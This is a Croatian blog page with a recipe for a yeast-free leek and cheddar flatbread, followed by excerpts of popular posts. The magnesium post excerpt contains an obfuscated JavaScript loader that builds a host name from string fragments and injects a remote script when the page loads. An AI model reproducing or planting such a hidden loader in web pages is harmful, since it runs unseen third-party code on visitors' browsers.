PROLJETNA POGAČA OD PORILUKA




Proljetna pogača od poriluka 



Želite li ukusniju varijantu kruha, oplemenjenu svojim najdražim povrćem i začinskim biljem, koju možete jesti samostalno, ali i kao dodatak nekom varivu, salati, ili za doručak s namazom, tada je pogača od poriluka idealan izbor. Budući da u njoj nema kvasca, nećete je morati dugo mijesiti niti čekati da se digne, a kako su sastojci jednostavni i malo ih ima, bit će spremna za pećnicu u manje od 15 minuta.




Proljetna pogača od poriluka 


Sastojci:

  • 500 g glatkog brašna
  • 1 žličica praška za pecivo
  • 1 žličica sušenog peršina
  • 2 poriluka sitno narezana
  • 110 g maslaca
  • 175 g naribanog cheddar sira
  • 200 ml vode



Priprema:

Zagrijte pećnicu na 200°C. Popržite narezani poriluk 5 minuta na tavi s malo ulja, a prije termičke obrade ga posolite i dodajte bibera. Stavite brašno u veliku posudu. Umiješajte prašak za pecivo, sušeni peršin (možete koristiti origano ili mješavine začina ako više volite) i sol i papar. Dodajte maslac. Prstima ga utrljajte u brašno dok se potpuno ne raspadne i stopi s brašnom. Umiješajte naribani cheddar i poriluk dok se ravnomjerno ne rasporedi. Dodajte vodu. Rukama miješajte dok ne dobijete glatko tijesto. Stavite tijesto na veliki namazani ili papirom obloženi pleh za pečenje i pritisnite ga dok ne dobijete krug otprilike 20 cm u promjeru. Premažite vrh kruha s malo mlijeka.

Pecite u pećnici 30 minuta ili dok ne postane zlatnosmeđe boje. Ako se površina prebrzo zapeče, samo pogaču pokrijte folijom tijekom posljednjih nekoliko minuta pečenja. Prije posluživanja, ostavite da se malo ohladi.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više